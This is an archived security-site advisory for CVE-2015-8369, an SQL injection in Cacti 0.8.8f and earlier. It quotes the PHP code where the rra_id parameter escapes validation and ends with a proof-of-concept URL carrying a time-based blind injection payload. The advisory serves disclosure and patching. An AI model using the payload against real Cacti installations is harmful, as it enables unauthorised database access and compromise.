Twenty Year Anniversary

Cacti 0.8.8f SQL Injection

Cacti 0.8.8f SQL Injection
Posted Dec 9, 2015
Authored by changzhao.mao

Cacti versions 0.8.8f and below suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2015-8369
MD5 | da58d64925e42ef8d1daf114845be6c4

Cacti 0.8.8f SQL Injection

Change Mirror Download
Application: Cacti 
Vendor URL: http://www.cacti.net
Bugs: SQL injection
Author:changzhao.mao(DBAPPSecurity Ltd)
Version affected: 0.8.8f and prior

================================
Introduction
================================

Cacti is a complete frontend to RRDTool, it stores all of the necessary information to create graphs and populate them with data in a MySQL database. The frontend is completely PHP driven. Along with being able to maintain Graphs, Data Sources, and Round Robin Archives in a database, cacti handles the data gathering. There is also SNMP support for those used to creating traffic graphs with MRTG. SQL injection vulnerabilities has been discovered.The vulnerability allows any users to execute own sql commands to compromise the web-applicaation or database management system.The vulnerabilities are located in the rra_id value of the graph.php file.This php file of older version cacti may be accessible anonymously according to the cases I found from the internet. Latest version cacti may require guest user privilege.

[Vulnerability info]

/cacti-0.8.8f/graph.php
line 25 include "./include/top_graph_header.php" before validating rra_id
/* set default action */
if (!isset($_REQUEST["action"])) { $_REQUEST["action"] = "view"; }
if (!isset($_REQUEST["view_type"])) { $_REQUEST["view_type"] = ""; }

$guest_account = true;
include("./include/auth.php");
include_once("./lib/rrd.php");

api_plugin_hook_function('graph');

include_once("./lib/html_tree.php");
include_once("./include/top_graph_header.php");

/* ================= input validation ================= */
input_validate_input_regex(get_request_var("rra_id"), "^([0-9]+|all)$");
input_validate_input_number(get_request_var("local_graph_id"));
input_validate_input_number(get_request_var("graph_end"));
input_validate_input_number(get_request_var("graph_start"));
input_validate_input_regex(get_request_var_request("view_type"), "^([a-zA-Z0-9]+)$");
/* ==================================================== */




/cacti-0.8.8f/include/top_graph_header.php
line 30 rra_id is not validated

/* ================= input validation ================= */
input_validate_input_number(get_request_var_request("local_graph_id"));
input_validate_input_number(get_request_var_request("graph_start"));
input_validate_input_number(get_request_var_request("graph_end"));
/* ==================================================== */





line 158
<?php if ((basename($_SERVER["PHP_SELF"]) == "graph.php") && ($_REQUEST["action"] == "properties")) {?>
<tr>
<td valign="top" class='cactiTreeNavigationArea' colspan="3">
<?php
$graph_data_array["print_source"] = true;

/* override: graph start time (unix time) */
if (!empty($_GET["graph_start"])) {
$graph_data_array["graph_start"] = get_request_var_request("graph_start");
}

/* override: graph end time (unix time) */
if (!empty($_GET["graph_end"])) {
$graph_data_array["graph_end"] = get_request_var_request("graph_end");
}

print trim(@rrdtool_function_graph(get_request_var_request("local_graph_id"), get_request_var_request("rra_id"), $graph_data_array));
?>




\cacti-0.8.8f\lib\rrd.php function rrdtool_function_graph line 631
$rra["timespan"] = 86400;
}else{
/* get a list of RRAs related to this graph */
$rras = get_associated_rras($local_graph_id);

if (sizeof($rras) > 0) {
foreach ($rras as $unchosen_rra) {
/* the timespan specified in the RRA "timespan" field may not be accurate */
$real_timespan = ($ds_step * $unchosen_rra["steps"] * $unchosen_rra["rows"]);

/* make sure the current start/end times fit within each RRA's timespan */
if ( (($graph_data_array["graph_end"] - $graph_data_array["graph_start"]) <= $real_timespan) && ((time() - $graph_data_array["graph_start"]) <= $real_timespan) ) {
/* is this RRA better than the already chosen one? */
if ((isset($rra)) && ($unchosen_rra["steps"] < $rra["steps"])) {
$rra = $unchosen_rra;
}else if (!isset($rra)) {
$rra = $unchosen_rra;
}
}
}
}

if (!isset($rra)) {
$rra["rows"] = 600;
$rra["steps"] = 1;
}
}
}else{
// sql injection here
$rra = db_fetch_row("select timespan,rows,steps from rra where id=$rra_id");
}


[Exploit]
poc: http://192.168.x.x/cacti/graph.php?action=properties&local_graph_id=1&rra_id=1%20and%20benchmark(20000000%2csha1(1))--%20&view_type=&graph_start=1448274676&graph_end=1448360776


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    16 Files
  • 17
    Aug 17th
    22 Files
  • 18
    Aug 18th
    3 Files
  • 19
    Aug 19th
    3 Files
  • 20
    Aug 20th
    21 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close